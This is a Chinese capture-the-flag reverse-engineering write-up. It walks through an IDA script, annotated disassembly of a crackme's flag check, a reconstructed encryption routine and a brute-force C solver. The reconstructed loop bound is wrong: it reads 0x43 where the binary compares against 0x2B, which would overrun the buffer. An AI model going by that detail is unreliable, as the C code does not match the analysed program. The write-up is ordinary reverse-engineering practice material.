        # if mnem == "call" or mnem.startswith("j"):  # 如果 Instruction 为 call 或以 j 开头(jcc)
        if mnem == "call":  # 如果 Instruction 为 call
            call_addr = idc.get_operand_value(instruction, 0)  # 获取调用地址
            if call_addr not in visited:
                analyze_function_calls(call_addr, depth + 1)
        else:
            disasm = idc.GetDisasm(instruction)
            if not any(x in disasm for x in ["add     rsp, 8", "leave", "ret", "retn", "fq"]):
                print(disasm)

print("------start------")

analyze_function_calls(start_addr)

最后再手工修复一下得到的结果是这样的,逻辑非常清晰,可以看出程序分为三个部分,输入字符串,加密输入的字符串,然后和0x4080的enc flag做比较,只需要关注加密字符串的逻辑就好了

push    rbp
mov     rbp, rsp
sub     rsp, 40h
mov     rax, fs:28h
mov     [rbp-8], rax
xor     eax, eax
lea     rax, aInputYourFlag; "input your flag:"
mov     rdi, rax
jmp     cs:off_4008 // puts_got
lea     rax, [rbp-40h]
mov     rsi, rax
lea     rax, a44s; "%44s"
mov     rdi, rax
mov     eax, 0
jmp     cs:off_4030 // scanf_gots
lea     rax, aOkLetSGo; "ok, let's go"
mov     rdi, rax
lea     rax, [rbp-40h]
mov     rdi, rax
leave
ret

push    rbp
mov     rbp, rsp
sub     rsp, 0F0h
mov     [rbp-0E8h], rdi
mov     rax, fs:28h
mov     [rbp-8], rax
xor     eax, eax
mov     dword ptr [rbp-0D4h], 0
cmp     dword ptr [rbp-0D4h], 2Bh ; '+'
jle     loc_1684
nop
mov     rax, [rbp-8]
sub     rax, fs:28h
jmp     cs:off_4018 
mov     eax, [rbp-0D4h]
movsxd  rdx, eax
mov     rax, [rbp-0E8h]
add     rax, rdx
movzx   ecx, byte ptr [rax]
mov     eax, [rbp-0D4h]
cdqe
lea     rdx, [rax+1]
mov     rax, [rbp-0E8h]
add     rax, rdx
movzx   eax, byte ptr [rax]
add     eax, ecx
mov     [rbp-0D5h], al
mov     eax, [rbp-0D4h]
movsxd  rdx, eax
mov     rax, [rbp-0E8h]
add     rax, rdx
movzx   eax, byte ptr [rax]
mov     edx, [rbp-0D4h]
movsxd  rcx, edx
mov     rdx, [rbp-0E8h]
add     rdx, rcx
xor     al, [rbp-0D5h]
mov     [rdx], al
mov     eax, [rbp-0D4h]
cdqe
lea     rdx, [rax+1]
mov     rax, [rbp-0E8h]
add     rax, rdx
movzx   eax, byte ptr [rax]
mov     edx, [rbp-0D4h]
movsxd  rdx, edx
lea     rcx, [rdx+1]
mov     rdx, [rbp-0E8h]
add     rdx, rcx
xor     al, [rbp-0D5h]
mov     [rdx], al
add     dword ptr [rbp-0D4h], 2
cmp     dword ptr [rbp-0D4h], 2Bh ; '+'
jle     loc_1684
mov     eax, [rbp-0D4h]
lea     rax, [rbp-40h]
mov     rdi, rax
leave
ret



push    rbp
mov     rbp, rsp
sub     rsp, 0F0h
mov     [rbp-0E8h], rdi
mov     rax, fs:28h
mov     [rbp-8], rax
xor     eax, eax
mov     dword ptr [rbp-0D4h], 0
cmp     dword ptr [rbp-0D4h], 2Bh ; '+'
jle     loc_1A30
lea     rax, aRight; "Right"
mov     rdi, rax
jmp     cs:off_4008 // puts_got
mov     edi, 0
jmp     cs:off_4040 // strlen_got
lea     rax, aChecking; "checking..."
mov     rdi, rax
mov     eax, [rbp-0D4h]
add     eax, eax
mov     edi, eax
jmp     cs:off_4048 // sleep_got
mov     eax, [rbp-0D4h]
movsxd  rdx, eax
mov     rax, [rbp-0E8h]
add     rax, rdx
movzx   edx, byte ptr [rax]
mov     eax, [rbp-0D4h]
cdqe
lea     rcx, unk_4080 // enc_flag
movzx   eax, byte ptr [rax+rcx]
cmp     dl, al
jz      short loc_1BB2
lea     rax, aWrong; "Wrong!"
mov     rdi, rax
mov     edi, 1
add     dword ptr [rbp-0D4h], 1
cmp     dword ptr [rbp-0D4h], 2Bh ; '+'
jle     loc_1A30
lea     rax, aChecking; "checking..."
mov     eax, 0
mov     rdx, [rbp-8]
sub     rdx, fs:28h
jmp     cs:off_4018 // exit_got
leave
ret

这一部分是加密输入字符串的逻辑

push    rbp
mov     rbp, rsp
sub     rsp, 0F0h
mov     [rbp-0E8h], rdi           
mov     rax, fs:28h
mov     [rbp-8], rax
xor     eax, eax
mov     dword ptr [rbp-0D4h], 0
cmp     dword ptr [rbp-0D4h], 2Bh  // for(int i=0; i<= 0x43; i++){}
jle     loc_1684
nop
mov     rax, [rbp-8]
sub     rax, fs:28h
jmp     cs:off_4018 // __stack_chk_fail

loc_1684:
mov     eax, [rbp-0D4h]            
movsxd  rdx, eax                   // rdx = (int64_t)i
mov     rax, [rbp-0E8h]            
add     rax, rdx                   // rax = inputstringAddr + i
movzx   ecx, byte ptr [rax]        // ecx = inputstring[i]
mov     eax, [rbp-0D4h]            // eax = i
cdqe
lea     rdx, [rax+1]               // rdx = i + 1
mov     rax, [rbp-0E8h]           
add     rax, rdx                   // rax = inputstringAddr + i + 1
movzx   eax, byte ptr [rax]        // eax = inputstring[i + 1]
add     eax, ecx                   // eax = inputstring[i + 1] + inputstring[i]
mov     [rbp-0D5h], al             // save in [rbp-0D5h]
mov     eax, [rbp-0D4h]            // eax = i
movsxd  rdx, eax                   // rdx = (int64_t)eax
mov     rax, [rbp-0E8h]
add     rax, rdx                   // rax = inputstringAddr + i
movzx   eax, byte ptr [rax]        // eax = inputstring[i]
mov     edx, [rbp-0D4h]            // edx = i
movsxd  rcx, edx                   // rcx = (int64_t)edx
mov     rdx, [rbp-0E8h]            // rdx = inputstringAddr
add     rdx, rcx                   // rdx = inputstringAddr + i
xor     al, [rbp-0D5h]             // eax = inputstring[i] ^ [rbp-0D5h]
mov     [rdx], al                  // save in inputstring[i]
mov     eax, [rbp-0D4h]            // eax = i
cdqe
lea     rdx, [rax+1]               // rdx = i + 1
mov     rax, [rbp-0E8h]            // rax = inputstringAddr
add     rax, rdx                   // rax = inputstringAddr + i + 1
movzx   eax, byte ptr [rax]        // eax = inputstring[i + 1]
mov     edx, [rbp-0D4h]            // edx = i
movsxd  rdx, edx                   // rdx = (int64_t)edx
lea     rcx, [rdx+1]               // rcx = i + 1
mov     rdx, [rbp-0E8h]            // rdx = inputstringAddr
add     rdx, rcx                   // rdx = inputstringAddr + i + 1
xor     al, [rbp-0D5h]             // eax = inputstring[i + 1] ^ [rbp-0D5h]
mov     [rdx], al                  // save in inputstring[i + 1]
add     dword ptr [rbp-0D4h], 2    // i += 2
cmp     dword ptr [rbp-0D4h], 2Bh  // 比较 i 是否小于等于 43
jle     loc_1684
mov     eax, [rbp-0D4h]
lea     rax, [rbp-40h]
mov     rdi, rax
leave
ret

尝试写了一下,大概是这样一个结构,其实就是一个约束求解,爆破一下就好了

void enc(char* input) {
    int i = 0;
    char temp;

    while (i <= 0x43) {  
        temp = input[i + 1] + input[i];   
        input[i] ^= temp;
        input[i + 1] ^= temp;
        i += 2;
    }
}

exp

#include <stdio.h>
#include <string.h>

#define FLAG_LENGTH 44

unsigned char data[] = {
    0xBB, 0xBF, 0xB9, 0xBE, 0xC3, 0xCC, 0xCE, 0xDC, 0x9E, 0x8F,
    0x9D, 0x9B, 0xA7, 0x8C, 0xD7, 0x95, 0xB0, 0xAD, 0xBD, 0xB4,
    0x88, 0xAF, 0x92, 0xD0, 0xCF, 0xA1, 0xA3, 0x92, 0xB7, 0xB4,
    0xC9, 0x9E, 0x94, 0xA7, 0xAE, 0xF0, 0xA1, 0x99, 0xC0, 0xE3,
    0xB4, 0xB4, 0xBF, 0xE3
};


int main() {

    char flag[FLAG_LENGTH + 1] = { 0 };

    for (int i = 0; i < FLAG_LENGTH; i += 2) {
        for (int ch1 = 0; ch1 < 256; ++ch1) {
            for (int ch2 = 0; ch2 < 256; ++ch2) {
                if ((ch1 ^ (ch1 + ch2)) == data[i] && (ch2 ^ (ch1 + ch2)) == data[i + 1]) {
                    flag[i] = ch1;
                    flag[i + 1] = ch2;
                    break;
                }
            }
        }
    }

    printf("Flag: %s\n", flag);

    return 0;
}